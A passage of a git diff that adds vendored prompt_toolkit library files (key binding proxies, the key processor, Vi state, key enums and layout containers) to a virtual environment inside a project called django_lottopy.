multiple registries of key bindings into one. + + This class acts as a proxy to multiple :class:`.KeyBindings` objects, but + behaves as if this is just one bigger :class:`.KeyBindings`. + + :param registries: List of :class:`.KeyBindings` objects. + """ + + def __init__(self, registries: Sequence[KeyBindingsBase]) -> None: + _Proxy.__init__(self) + self.registries = registries + + def _update_cache(self) -> None: + """ + If one of the original registries was changed. Update our merged + version. + """ + expected_version = tuple(r._version for r in self.registries) + + if self._last_version != expected_version: + bindings2 = KeyBindings() + + for reg in self.registries: + bindings2.bindings.extend(reg.bindings) + + self._bindings2 = bindings2 + self._last_version = expected_version + + +def merge_key_bindings(bindings: Sequence[KeyBindingsBase]) -> _MergedKeyBindings: + """ + Merge multiple :class:`.Keybinding` objects together. + + Usage:: + + bindings = merge_key_bindings([bindings1, bindings2, ...]) + """ + return _MergedKeyBindings(bindings) + + +class DynamicKeyBindings(_Proxy): + """ + KeyBindings class that can dynamically returns any KeyBindings. + + :param get_key_bindings: Callable that returns a :class:`.KeyBindings` instance. + """ + + def __init__( + self, get_key_bindings: Callable[[], Optional[KeyBindingsBase]] + ) -> None: + self.get_key_bindings = get_key_bindings + self.__version = 0 + self._last_child_version = None + self._dummy = KeyBindings() # Empty key bindings. + + def _update_cache(self) -> None: + key_bindings = self.get_key_bindings() or self._dummy + assert isinstance(key_bindings, KeyBindingsBase) + version = id(key_bindings), key_bindings._version + + self._bindings2 = key_bindings + self._last_version = version + + +class GlobalOnlyKeyBindings(_Proxy): + """ + Wrapper around a :class:`.KeyBindings` object that only exposes the global + key bindings. + """ + + def __init__(self, key_bindings: KeyBindingsBase) -> None: + _Proxy.__init__(self) + self.key_bindings = key_bindings + + def _update_cache(self) -> None: + """ + If one of the original registries was changed. Update our merged + version. + """ + expected_version = self.key_bindings._version + + if self._last_version != expected_version: + bindings2 = KeyBindings() + + for b in self.key_bindings.bindings: + if b.is_global(): + bindings2.bindings.append(b) + + self._bindings2 = bindings2 + self._last_version = expected_version diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/key_processor.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/key_processor.py new file mode 100644 index 00000000..6fdd5191 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/key_processor.py @@ -0,0 +1,528 @@ +""" +An :class:`~.KeyProcessor` receives callbacks for the keystrokes parsed from +the input in the :class:`~prompt_toolkit.inputstream.InputStream` instance. + +The `KeyProcessor` will according to the implemented keybindings call the +correct callbacks when new key presses are feed through `feed`. +""" +import weakref +from asyncio import Task, sleep +from collections import deque +from typing import TYPE_CHECKING, Any, Deque, Generator, List, Optional, Union + +from prompt_toolkit.application.current import get_app +from prompt_toolkit.enums import EditingMode +from prompt_toolkit.filters.app import vi_navigation_mode +from prompt_toolkit.keys import Keys +from prompt_toolkit.utils import Event + +from .key_bindings import Binding, KeyBindingsBase + +if TYPE_CHECKING: + from prompt_toolkit.application import Application + from prompt_toolkit.buffer import Buffer + + +__all__ = [ + "KeyProcessor", + "KeyPress", + "KeyPressEvent", +] + + +class KeyPress: + """ + :param key: A `Keys` instance or text (one character). + :param data: The received string on stdin. (Often vt100 escape codes.) + """ + + def __init__(self, key: Union[Keys, str], data: Optional[str] = None) -> None: + assert isinstance(key, Keys) or len(key) == 1 + + if data is None: + if isinstance(key, Keys): + data = key.value + else: + data = key # 'key' is a one character string. + + self.key = key + self.data = data + + def __repr__(self) -> str: + return f"{self.__class__.__name__}(key={self.key!r}, data={self.data!r})" + + def __eq__(self, other: object) -> bool: + if not isinstance(other, KeyPress): + return False + return self.key == other.key and self.data == other.data + + +""" +Helper object to indicate flush operation in the KeyProcessor. +NOTE: the implementation is very similar to the VT100 parser. +""" +_Flush = KeyPress("?", data="_Flush") + + +class KeyProcessor: + """ + Statemachine that receives :class:`KeyPress` instances and according to the + key bindings in the given :class:`KeyBindings`, calls the matching handlers. + + :: + + p = KeyProcessor(key_bindings) + + # Send keys into the processor. + p.feed(KeyPress(Keys.ControlX, '\x18')) + p.feed(KeyPress(Keys.ControlC, '\x03') + + # Process all the keys in the queue. + p.process_keys() + + # Now the ControlX-ControlC callback will be called if this sequence is + # registered in the key bindings. + + :param key_bindings: `KeyBindingsBase` instance. + """ + + def __init__(self, key_bindings: KeyBindingsBase) -> None: + self._bindings = key_bindings + + self.before_key_press = Event(self) + self.after_key_press = Event(self) + + self._flush_wait_task: Optional[Task[None]] = None + + self.reset() + + def reset(self) -> None: + self._previous_key_sequence: List[KeyPress] = [] + self._previous_handler: Optional[Binding] = None + + # The queue of keys not yet send to our _process generator/state machine. + self.input_queue: Deque[KeyPress] = deque() + + # The key buffer that is matched in the generator state machine. + # (This is at at most the amount of keys that make up for one key binding.) + self.key_buffer: List[KeyPress] = [] + + #: Readline argument (for repetition of commands.) + #: https://www.gnu.org/software/bash/manual/html_node/Readline-Arguments.html + self.arg: Optional[str] = None + + # Start the processor coroutine. + self._process_coroutine = self._process() + self._process_coroutine.send(None) # type: ignore + + def _get_matches(self, key_presses: List[KeyPress]) -> List[Binding]: + """ + For a list of :class:`KeyPress` instances. Give the matching handlers + that would handle this. + """ + keys = tuple(k.key for k in key_presses) + + # Try match, with mode flag + return [b for b in self._bindings.get_bindings_for_keys(keys) if b.filter()] + + def _is_prefix_of_longer_match(self, key_presses: List[KeyPress]) -> bool: + """ + For a list of :class:`KeyPress` instances. Return True if there is any + handler that is bound to a suffix of this keys. + """ + keys = tuple(k.key for k in key_presses) + + # Get the filters for all the key bindings that have a longer match. + # Note that we transform it into a `set`, because we don't care about + # the actual bindings and executing it more than once doesn't make + # sense. (Many key bindings share the same filter.) + filters = { + b.filter for b in self._bindings.get_bindings_starting_with_keys(keys) + } + + # When any key binding is active, return True. + return any(f() for f in filters) + + def _process(self) -> Generator[None, KeyPress, None]: + """ + Coroutine implementing the key match algorithm. Key strokes are sent + into this generator, and it calls the appropriate handlers. + """ + buffer = self.key_buffer + retry = False + + while True: + flush = False + + if retry: + retry = False + else: + key = yield + if key is _Flush: + flush = True + else: + buffer.append(key) + + # If we have some key presses, check for matches. + if buffer: + matches = self._get_matches(buffer) + + if flush: + is_prefix_of_longer_match = False + else: + is_prefix_of_longer_match = self._is_prefix_of_longer_match(buffer) + + # When eager matches were found, give priority to them and also + # ignore all the longer matches. + eager_matches = [m for m in matches if m.eager()] + + if eager_matches: + matches = eager_matches + is_prefix_of_longer_match = False + + # Exact matches found, call handler. + if not is_prefix_of_longer_match and matches: + self._call_handler(matches[-1], key_sequence=buffer[:]) + del buffer[:] # Keep reference. + + # No match found. + elif not is_prefix_of_longer_match and not matches: + retry = True + found = False + + # Loop over the input, try longest match first and shift. + for i in range(len(buffer), 0, -1): + matches = self._get_matches(buffer[:i]) + if matches: + self._call_handler(matches[-1], key_sequence=buffer[:i]) + del buffer[:i] + found = True + break + + if not found: + del buffer[:1] + + def feed(self, key_press: KeyPress, first: bool = False) -> None: + """ + Add a new :class:`KeyPress` to the input queue. + (Don't forget to call `process_keys` in order to process the queue.) + + :param first: If true, insert before everything else. + """ + if first: + self.input_queue.appendleft(key_press) + else: + self.input_queue.append(key_press) + + def feed_multiple(self, key_presses: List[KeyPress], first: bool = False) -> None: + """ + :param first: If true, insert before everything else. + """ + if first: + self.input_queue.extendleft(reversed(key_presses)) + else: + self.input_queue.extend(key_presses) + + def process_keys(self) -> None: + """ + Process all the keys in the `input_queue`. + (To be called after `feed`.) + + Note: because of the `feed`/`process_keys` separation, it is + possible to call `feed` from inside a key binding. + This function keeps looping until the queue is empty. + """ + app = get_app() + + def not_empty() -> bool: + # When the application result is set, stop processing keys. (E.g. + # if ENTER was received, followed by a few additional key strokes, + # leave the other keys in the queue.) + if app.is_done: + # But if there are still CPRResponse keys in the queue, these + # need to be processed. + return any(k for k in self.input_queue if k.key == Keys.CPRResponse) + else: + return bool(self.input_queue) + + def get_next() -> KeyPress: + if app.is_done: + # Only process CPR responses. Everything else is typeahead. + cpr = [k for k in self.input_queue if k.key == Keys.CPRResponse][0] + self.input_queue.remove(cpr) + return cpr + else: + return self.input_queue.popleft() + + is_flush = False + + while not_empty(): + # Process next key. + key_press = get_next() + + is_flush = key_press is _Flush + is_cpr = key_press.key == Keys.CPRResponse + + if not is_flush and not is_cpr: + self.before_key_press.fire() + + try: + self._process_coroutine.send(key_press) + except Exception: + # If for some reason something goes wrong in the parser, (maybe + # an exception was raised) restart the processor for next time. + self.reset() + self.empty_queue() + raise + + if not is_flush and not is_cpr: + self.after_key_press.fire() + + # Skip timeout if the last key was flush. + if not is_flush: + self._start_timeout() + + def empty_queue(self) -> List[KeyPress]: + """ + Empty the input queue. Return the unprocessed input. + """ + key_presses = list(self.input_queue) + self.input_queue.clear() + + # Filter out CPRs. We don't want to return these. + key_presses = [k for k in key_presses if k.key != Keys.CPRResponse] + return key_presses + + def _call_handler(self, handler: Binding, key_sequence: List[KeyPress]) -> None: + app = get_app() + was_recording_emacs = app.emacs_state.is_recording + was_recording_vi = bool(app.vi_state.recording_register) + was_temporary_navigation_mode = app.vi_state.temporary_navigation_mode + arg = self.arg + self.arg = None + + event = KeyPressEvent( + weakref.ref(self), + arg=arg, + key_sequence=key_sequence, + previous_key_sequence=self._previous_key_sequence, + is_repeat=(handler == self._previous_handler), + ) + + # Save the state of the current buffer. + if handler.save_before(event): + event.app.current_buffer.save_to_undo_stack() + + # Call handler. + from prompt_toolkit.buffer import EditReadOnlyBuffer + + try: + handler.call(event) + self._fix_vi_cursor_position(event) + + except EditReadOnlyBuffer: + # When a key binding does an attempt to change a buffer which is + # read-only, we can ignore that. We sound a bell and go on. + app.output.bell() + + if was_temporary_navigation_mode: + self._leave_vi_temp_navigation_mode(event) + + self._previous_key_sequence = key_sequence + self._previous_handler = handler + + # Record the key sequence in our macro. (Only if we're in macro mode + # before and after executing the key.) + if handler.record_in_macro(): + if app.emacs_state.is_recording and was_recording_emacs: + recording = app.emacs_state.current_recording + if recording is not None: # Should always be true, given that + # `was_recording_emacs` is set. + recording.extend(key_sequence) + + if app.vi_state.recording_register and was_recording_vi: + for k in key_sequence: + app.vi_state.current_recording += k.data + + def _fix_vi_cursor_position(self, event: "KeyPressEvent") -> None: + """ + After every command, make sure that if we are in Vi navigation mode, we + never put the cursor after the last character of a line. (Unless it's + an empty line.) + """ + app = event.app + buff = app.current_buffer + preferred_column = buff.preferred_column + + if ( + vi_navigation_mode() + and buff.document.is_cursor_at_the_end_of_line + and len(buff.document.current_line) > 0 + ): + buff.cursor_position -= 1 + + # Set the preferred_column for arrow up/down again. + # (This was cleared after changing the cursor position.) + buff.preferred_column = preferred_column + + def _leave_vi_temp_navigation_mode(self, event: "KeyPressEvent") -> None: + """ + If we're in Vi temporary navigation (normal) mode, return to + insert/replace mode after executing one action. + """ + app = event.app + + if app.editing_mode == EditingMode.VI: + # Not waiting for a text object and no argument has been given. + if app.vi_state.operator_func is None and self.arg is None: + app.vi_state.temporary_navigation_mode = False + + def _start_timeout(self) -> None: + """ + Start auto flush timeout. Similar to Vim's `timeoutlen` option. + + Start a background coroutine with a timer. When this timeout expires + and no key was pressed in the meantime, we flush all data in the queue + and call the appropriate key binding handlers. + """ + app = get_app() + timeout = app.timeoutlen + + if timeout is None: + return + + async def wait() -> None: + "Wait for timeout." + # This sleep can be cancelled. In that case we don't flush. + await sleep(timeout) + + if len(self.key_buffer) > 0: + # (No keys pressed in the meantime.) + flush_keys() + + def flush_keys() -> None: + "Flush keys." + self.feed(_Flush) + self.process_keys() + + # Automatically flush keys. + if self._flush_wait_task: + self._flush_wait_task.cancel() + self._flush_wait_task = app.create_background_task(wait()) + + def send_sigint(self) -> None: + """ + Send SIGINT. Immediately call the SIGINT key handler. + """ + self.feed(KeyPress(key=Keys.SIGINT), first=True) + self.process_keys() + + +class KeyPressEvent: + """ + Key press event, delivered to key bindings. + + :param key_processor_ref: Weak reference to the `KeyProcessor`. + :param arg: Repetition argument. + :param key_sequence: List of `KeyPress` instances. + :param previouskey_sequence: Previous list of `KeyPress` instances. + :param is_repeat: True when the previous event was delivered to the same handler. + """ + + def __init__( + self, + key_processor_ref: "weakref.ReferenceType[KeyProcessor]", + arg: Optional[str], + key_sequence: List[KeyPress], + previous_key_sequence: List[KeyPress], + is_repeat: bool, + ) -> None: + + self._key_processor_ref = key_processor_ref + self.key_sequence = key_sequence + self.previous_key_sequence = previous_key_sequence + + #: True when the previous key sequence was handled by the same handler. + self.is_repeat = is_repeat + + self._arg = arg + self._app = get_app() + + def __repr__(self) -> str: + return "KeyPressEvent(arg={!r}, key_sequence={!r}, is_repeat={!r})".format( + self.arg, + self.key_sequence, + self.is_repeat, + ) + + @property + def data(self) -> str: + return self.key_sequence[-1].data + + @property + def key_processor(self) -> KeyProcessor: + processor = self._key_processor_ref() + if processor is None: + raise Exception("KeyProcessor was lost. This should not happen.") + return processor + + @property + def app(self) -> "Application[Any]": + """ + The current `Application` object. + """ + return self._app + + @property + def current_buffer(self) -> "Buffer": + """ + The current buffer. + """ + return self.app.current_buffer + + @property + def arg(self) -> int: + """ + Repetition argument. + """ + if self._arg == "-": + return -1 + + result = int(self._arg or 1) + + # Don't exceed a million. + if int(result) >= 1000000: + result = 1 + + return result + + @property + def arg_present(self) -> bool: + """ + True if repetition argument was explicitly provided. + """ + return self._arg is not None + + def append_to_arg_count(self, data: str) -> None: + """ + Add digit to the input argument. + + :param data: the typed digit as string + """ + assert data in "-0123456789" + current = self._arg + + if data == "-": + assert current is None or current == "-" + result = data + elif current is None: + result = data + else: + result = f"{current}{data}" + + self.key_processor.arg = result + + @property + def cli(self) -> "Application[Any]": + "For backward-compatibility." + return self.app diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/vi_state.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/vi_state.py new file mode 100644 index 00000000..10593a82 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/vi_state.py @@ -0,0 +1,107 @@ +from enum import Enum +from typing import TYPE_CHECKING, Callable, Dict, Optional + +from prompt_toolkit.clipboard import ClipboardData + +if TYPE_CHECKING: + from .key_bindings.vi import TextObject + from .key_processor import KeyPressEvent + +__all__ = [ + "InputMode", + "CharacterFind", + "ViState", +] + + +class InputMode(str, Enum): + value: str + + INSERT = "vi-insert" + INSERT_MULTIPLE = "vi-insert-multiple" + NAVIGATION = "vi-navigation" # Normal mode. + REPLACE = "vi-replace" + REPLACE_SINGLE = "vi-replace-single" + + +class CharacterFind: + def __init__(self, character: str, backwards: bool = False) -> None: + self.character = character + self.backwards = backwards + + +class ViState: + """ + Mutable class to hold the state of the Vi navigation. + """ + + def __init__(self) -> None: + #: None or CharacterFind instance. (This is used to repeat the last + #: search in Vi mode, by pressing the 'n' or 'N' in navigation mode.) + self.last_character_find: Optional[CharacterFind] = None + + # When an operator is given and we are waiting for text object, + # -- e.g. in the case of 'dw', after the 'd' --, an operator callback + # is set here. + self.operator_func: Optional[ + Callable[["KeyPressEvent", "TextObject"], None] + ] = None + self.operator_arg: Optional[int] = None + + #: Named registers. Maps register name (e.g. 'a') to + #: :class:`ClipboardData` instances. + self.named_registers: Dict[str, ClipboardData] = {} + + #: The Vi mode we're currently in to. + self.__input_mode = InputMode.INSERT + + #: Waiting for digraph. + self.waiting_for_digraph = False + self.digraph_symbol1: Optional[str] = None # (None or a symbol.) + + #: When true, make ~ act as an operator. + self.tilde_operator = False + + #: Register in which we are recording a macro. + #: `None` when not recording anything. + # Note that the recording is only stored in the register after the + # recording is stopped. So we record in a separate `current_recording` + # variable. + self.recording_register: Optional[str] = None + self.current_recording: str = "" + + # Temporary navigation (normal) mode. + # This happens when control-o has been pressed in insert or replace + # mode. The user can now do one navigation action and we'll return back + # to insert/replace. + self.temporary_navigation_mode = False + + @property + def input_mode(self) -> InputMode: + "Get `InputMode`." + return self.__input_mode + + @input_mode.setter + def input_mode(self, value: InputMode) -> None: + "Set `InputMode`." + if value == InputMode.NAVIGATION: + self.waiting_for_digraph = False + self.operator_func = None + self.operator_arg = None + + self.__input_mode = value + + def reset(self) -> None: + """ + Reset state, go back to the given mode. INSERT by default. + """ + # Go back to insert mode. + self.input_mode = InputMode.INSERT + + self.waiting_for_digraph = False + self.operator_func = None + self.operator_arg = None + + # Reset recording state. + self.recording_register = None + self.current_recording = "" diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/keys.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/keys.py new file mode 100644 index 00000000..e10ba9d9 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/keys.py @@ -0,0 +1,221 @@ +from enum import Enum +from typing import Dict, List + +__all__ = [ + "Keys", + "ALL_KEYS", +] + + +class Keys(str, Enum): + """ + List of keys for use in key bindings. + + Note that this is an "StrEnum", all values can be compared against + strings. + """ + + value: str + + Escape = "escape" # Also Control-[ + ShiftEscape = "s-escape" + + ControlAt = "c-@" # Also Control-Space. + + ControlA = "c-a" + ControlB = "c-b" + ControlC = "c-c" + ControlD = "c-d" + ControlE = "c-e" + ControlF = "c-f" + ControlG = "c-g" + ControlH = "c-h" + ControlI = "c-i" # Tab + ControlJ = "c-j" # Newline + ControlK = "c-k" + ControlL = "c-l" + ControlM = "c-m" # Carriage return + ControlN = "c-n" + ControlO = "c-o" + ControlP = "c-p" + ControlQ = "c-q" + ControlR = "c-r" + ControlS = "c-s" + ControlT = "c-t" + ControlU = "c-u" + ControlV = "c-v" + ControlW = "c-w" + ControlX = "c-x" + ControlY = "c-y" + ControlZ = "c-z" + + Control1 = "c-1" + Control2 = "c-2" + Control3 = "c-3" + Control4 = "c-4" + Control5 = "c-5" + Control6 = "c-6" + Control7 = "c-7" + Control8 = "c-8" + Control9 = "c-9" + Control0 = "c-0" + + ControlShift1 = "c-s-1" + ControlShift2 = "c-s-2" + ControlShift3 = "c-s-3" + ControlShift4 = "c-s-4" + ControlShift5 = "c-s-5" + ControlShift6 = "c-s-6" + ControlShift7 = "c-s-7" + ControlShift8 = "c-s-8" + ControlShift9 = "c-s-9" + ControlShift0 = "c-s-0" + + ControlBackslash = "c-\\" + ControlSquareClose = "c-]" + ControlCircumflex = "c-^" + ControlUnderscore = "c-_" + + Left = "left" + Right = "right" + Up = "up" + Down = "down" + Home = "home" + End = "end" + Insert = "insert" + Delete = "delete" + PageUp = "pageup" + PageDown = "pagedown" + + ControlLeft = "c-left" + ControlRight = "c-right" + ControlUp = "c-up" + ControlDown = "c-down" + ControlHome = "c-home" + ControlEnd = "c-end" + ControlInsert = "c-insert" + ControlDelete = "c-delete" + ControlPageUp = "c-pageup" + ControlPageDown = "c-pagedown" + + ShiftLeft = "s-left" + ShiftRight = "s-right" + ShiftUp = "s-up" + ShiftDown = "s-down" + ShiftHome = "s-home" + ShiftEnd = "s-end" + ShiftInsert = "s-insert" + ShiftDelete = "s-delete" + ShiftPageUp = "s-pageup" + ShiftPageDown = "s-pagedown" + + ControlShiftLeft = "c-s-left" + ControlShiftRight = "c-s-right" + ControlShiftUp = "c-s-up" + ControlShiftDown = "c-s-down" + ControlShiftHome = "c-s-home" + ControlShiftEnd = "c-s-end" + ControlShiftInsert = "c-s-insert" + ControlShiftDelete = "c-s-delete" + ControlShiftPageUp = "c-s-pageup" + ControlShiftPageDown = "c-s-pagedown" + + BackTab = "s-tab" # shift + tab + + F1 = "f1" + F2 = "f2" + F3 = "f3" + F4 = "f4" + F5 = "f5" + F6 = "f6" + F7 = "f7" + F8 = "f8" + F9 = "f9" + F10 = "f10" + F11 = "f11" + F12 = "f12" + F13 = "f13" + F14 = "f14" + F15 = "f15" + F16 = "f16" + F17 = "f17" + F18 = "f18" + F19 = "f19" + F20 = "f20" + F21 = "f21" + F22 = "f22" + F23 = "f23" + F24 = "f24" + + ControlF1 = "c-f1" + ControlF2 = "c-f2" + ControlF3 = "c-f3" + ControlF4 = "c-f4" + ControlF5 = "c-f5" + ControlF6 = "c-f6" + ControlF7 = "c-f7" + ControlF8 = "c-f8" + ControlF9 = "c-f9" + ControlF10 = "c-f10" + ControlF11 = "c-f11" + ControlF12 = "c-f12" + ControlF13 = "c-f13" + ControlF14 = "c-f14" + ControlF15 = "c-f15" + ControlF16 = "c-f16" + ControlF17 = "c-f17" + ControlF18 = "c-f18" + ControlF19 = "c-f19" + ControlF20 = "c-f20" + ControlF21 = "c-f21" + ControlF22 = "c-f22" + ControlF23 = "c-f23" + ControlF24 = "c-f24" + + # Matches any key. + Any = "" + + # Special. + ScrollUp = "" + ScrollDown = "" + + CPRResponse = "" + Vt100MouseEvent = "" + WindowsMouseEvent = "" + BracketedPaste = "" + + SIGINT = "" + + # For internal use: key which is ignored. + # (The key binding for this key should not do anything.) + Ignore = "" + + # Some 'Key' aliases (for backwards-compatibility). + ControlSpace = ControlAt + Tab = ControlI + Enter = ControlM + Backspace = ControlH + + # ShiftControl was renamed to ControlShift in + # 888fcb6fa4efea0de8333177e1bbc792f3ff3c24 (20 Feb 2020). + ShiftControlLeft = ControlShiftLeft + ShiftControlRight = ControlShiftRight + ShiftControlHome = ControlShiftHome + ShiftControlEnd = ControlShiftEnd + + +ALL_KEYS: List[str] = [k.value for k in Keys] + + +# Aliases. +KEY_ALIASES: Dict[str, str] = { + "backspace": "c-h", + "c-space": "c-@", + "enter": "c-m", + "tab": "c-i", + # ShiftControl was renamed to ControlShift. + "s-c-left": "c-s-left", + "s-c-right": "c-s-right", + "s-c-home": "c-s-home", + "s-c-end": "c-s-end", +} diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/__init__.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/__init__.py new file mode 100644 index 00000000..6669da5d --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/__init__.py @@ -0,0 +1,144 @@ +""" +Command line layout definitions +------------------------------- + +The layout of a command line interface is defined by a Container instance. +There are two main groups of classes here. Containers and controls: + +- A container can contain other containers or controls, it can have multiple + children and it decides about the dimensions. +- A control is responsible for rendering the actual content to a screen. + A control can propose some dimensions, but it's the container who decides + about the dimensions -- or when the control consumes more space -- which part + of the control will be visible. + + +Container classes:: + + - Container (Abstract base class) + |- HSplit (Horizontal split) + |- VSplit (Vertical split) + |- FloatContainer (Container which can also contain menus and other floats) + `- Window (Container which contains one actual control + +Control classes:: + + - UIControl (Abstract base class) + |- FormattedTextControl (Renders formatted text, or a simple list of text fragments) + `- BufferControl (Renders an input buffer.) + + +Usually, you end up wrapping every control inside a `Window` object, because +that's the only way to render it in a layout. + +There are some prepared toolbars which are ready to use:: + +- SystemToolbar (Shows the 'system' input buffer, for entering system commands.) +- ArgToolbar (Shows the input 'arg', for repetition of input commands.) +- SearchToolbar (Shows the 'search' input buffer, for incremental search.) +- CompletionsToolbar (Shows the completions of the current buffer.) +- ValidationToolbar (Shows validation errors of the current buffer.) + +And one prepared menu: + +- CompletionsMenu + +""" +from .containers import ( + AnyContainer, + ColorColumn, + ConditionalContainer, + Container, + DynamicContainer, + Float, + FloatContainer, + HorizontalAlign, + HSplit, + ScrollOffsets, + VerticalAlign, + VSplit, + Window, + WindowAlign, + WindowRenderInfo, + is_container, + to_container, + to_window, +) +from .controls import ( + BufferControl, + DummyControl, + FormattedTextControl, + SearchBufferControl, + UIContent, + UIControl, +) +from .dimension import ( + AnyDimension, + D, + Dimension, + is_dimension, + max_layout_dimensions, + sum_layout_dimensions, + to_dimension, +) +from .layout import InvalidLayoutError, Layout, walk +from .margins import ( + ConditionalMargin, + Margin, + NumberedMargin, + PromptMargin, + ScrollbarMargin, +) +from .menus import CompletionsMenu, MultiColumnCompletionsMenu +from .scrollable_pane import ScrollablePane + +__all__ = [ + # Layout. + "Layout", + "InvalidLayoutError", + "walk", + # Dimensions. + "AnyDimension", + "Dimension", + "D", + "sum_layout_dimensions", + "max_layout_dimensions", + "to_dimension", + "is_dimension", + # Containers. + "AnyContainer", + "Container", + "HorizontalAlign", + "VerticalAlign", + "HSplit", + "VSplit", + "FloatContainer", + "Float", + "WindowAlign", + "Window", + "WindowRenderInfo", + "ConditionalContainer", + "ScrollOffsets", + "ColorColumn", + "to_container", + "to_window", + "is_container", + "DynamicContainer", + "ScrollablePane", + # Controls. + "BufferControl", + "SearchBufferControl", + "DummyControl", + "FormattedTextControl", + "UIControl", + "UIContent", + # Margins. + "Margin", + "NumberedMargin", + "ScrollbarMargin", + "ConditionalMargin", + "PromptMargin", + # Menus. + "CompletionsMenu", + "MultiColumnCompletionsMenu", +] diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/containers.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/containers.py new file mode 100644 index 00000000..03f9e7d2 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/containers.py @@ -0,0 +1,2757 @@ +""" +Container for the layout. +(Containers can contain other containers or user interface controls.) +""" +from abc import ABCMeta, abstractmethod +from enum import Enum +from functools import partial +from typing import ( + TYPE_CHECKING, + Callable, + Dict, + List, + Optional, + Sequence, + Tuple, + Union, + cast, +) + +from prompt_toolkit.application.current import get_app +from prompt_toolkit.cache import SimpleCache +from prompt_toolkit.data_structures import Point +from prompt_toolkit.filters import ( + FilterOrBool, + emacs_insert_mode, + to_filter, + vi_insert_mode, +) +from prompt_toolkit.formatted_text import ( + AnyFormattedText, + StyleAndTextTuples, + to_formatted_text, +) +from prompt_toolkit.formatted_text.utils import ( + fragment_list_to_text, + fragment_list_width, +) +from prompt_toolkit.key_binding import KeyBindingsBase +from prompt_toolkit.mouse_events import MouseEvent, MouseEventType +from prompt_toolkit.utils import get_cwidth, take_using_weights, to_int, to_str + +from .controls import ( + DummyControl, + FormattedTextControl, + GetLinePrefixCallable, + UIContent, + UIControl, +) +from .dimension import ( + AnyDimension, + Dimension, + max_layout_dimensions, + sum_layout_dimensions, + to_dimension, +) +from .margins import Margin +from .mouse_handlers import MouseHandlers +from .screen import _CHAR_CACHE, Screen, WritePosition +from .utils import explode_text_fragments + +if TYPE_CHECKING: + from typing_extensions import Protocol, TypeGuard + + from prompt_toolkit.key_binding.key_bindings import NotImplementedOrNone + + +__all__ = [ + "AnyContainer", + "Container", + "HorizontalAlign", + "VerticalAlign", + "HSplit", + "VSplit", + "FloatContainer", + "Float", + "WindowAlign", + "Window", + "WindowRenderInfo", + "ConditionalContainer", + "ScrollOffsets", + "ColorColumn", + "to_container", + "to_window", + "is_container", + "DynamicContainer", +] + + +class Container(metaclass=ABCMeta): + """ + Base class for user interface layout. + """ + + @abstractmethod + def reset(self) -> None: + """ + Reset the state of this container and all the children. + (E.g. reset scroll offsets, etc...) + """ + + @abstractmethod + def preferred_width(self, max_available_width: int) -> Dimension: + """ + Return a :class:`~prompt_toolkit.layout.Dimension` that represents the + desired width for this container. + """ + + @abstractmethod + def preferred_height(self, width: int, max_available_height: int) -> Dimension: + """ + Return a :class:`~prompt_toolkit.layout.Dimension` that represents the + desired height for this container. + """ + + @abstractmethod + def write_to_screen( + self, + screen: Screen, + mouse_handlers: MouseHandlers, + write_position: WritePosition, + parent_style: str, + erase_bg: bool, + z_index: Optional[int], + ) -> None: + """ + Write the actual content to the screen. + + :param screen: :class:`~prompt_toolkit.layout.screen.Screen` + :param mouse_handlers: :class:`~prompt_toolkit.layout.mouse_handlers.MouseHandlers`. + :param parent_style: Style string to pass to the :class:`.Window` + object. This will be applied to all content of the windows. + :class:`.VSplit` and :class:`.HSplit` can use it to pass their + style down to the windows that they contain. + :param z_index: Used for propagating z_index from parent to child. + """ + + def is_modal(self) -> bool: + """ + When this container is modal, key bindings from parent containers are + not taken into account if a user control in this container is focused. + """ + return False + + def get_key_bindings(self) -> Optional[KeyBindingsBase]: + """ + Returns a :class:`.KeyBindings` object. These bindings become active when any + user control in this container has the focus, except if any containers + between this container and the focused user control is modal. + """ + return None + + @abstractmethod + def get_children(self) -> List["Container"]: + """ + Return the list of child :class:`.Container` objects. + """ + return [] + + +if TYPE_CHECKING: + + class MagicContainer(Protocol): + """ + Any object that implements ``__pt_container__`` represents a container. + """ + + def __pt_container__(self) -> "AnyContainer": + ... + + +AnyContainer = Union[Container, "MagicContainer"] + + +def _window_too_small() -> "Window": + "Create a `Window` that displays the 'Window too small' text." + return Window( + FormattedTextControl(text=[("class:window-too-small", " Window too small... ")]) + ) + + +class VerticalAlign(Enum): + "Alignment for `HSplit`." + TOP = "TOP" + CENTER = "CENTER" + BOTTOM = "BOTTOM" + JUSTIFY = "JUSTIFY" + + +class HorizontalAlign(Enum): + "Alignment for `VSplit`." + LEFT = "LEFT" + CENTER = "CENTER" + RIGHT = "RIGHT" + JUSTIFY = "JUSTIFY" + + +class _Split(Container): + """ + The common parts of `VSplit` and `HSplit`. + """ + + def __init__( + self, + children: Sequence[AnyContainer], + window_too_small: Optional[Container] = None, + padding: AnyDimension = Dimension.exact(0), + padding_char: Optional[str] = None, + padding_style: str = "", + width: AnyDimension = None, + height: AnyDimension = None, + z_index: Optional[int] = None, + modal: bool = False, + key_bindings: Optional[KeyBindingsBase] = None, + style: Union[str, Callable[[], str]] = "", + ) -> None: + + self.children = [to_container(c) for c in children] + self.window_too_small = window_too_small or _window_too_small() + self.padding = padding + self.padding_char = padding_char + self.padding_style = padding_style + + self.width = width + self.height = height + self.z_index = z_index + + self.modal = modal + self.key_bindings = key_bindings + self.style = style + + def is_modal(self) -> bool: + return self.modal + + def get_key_bindings(self) -> Optional[KeyBindingsBase]: + return self.key_bindings + + def get_children(self) -> List[Container]: + return self.children + + +class HSplit(_Split): + """ + Several layouts, one stacked above/under the other. :: + + +--------------------+ + | | + +--------------------+ + | | + +--------------------+ + + By default, this doesn't display a horizontal line between the 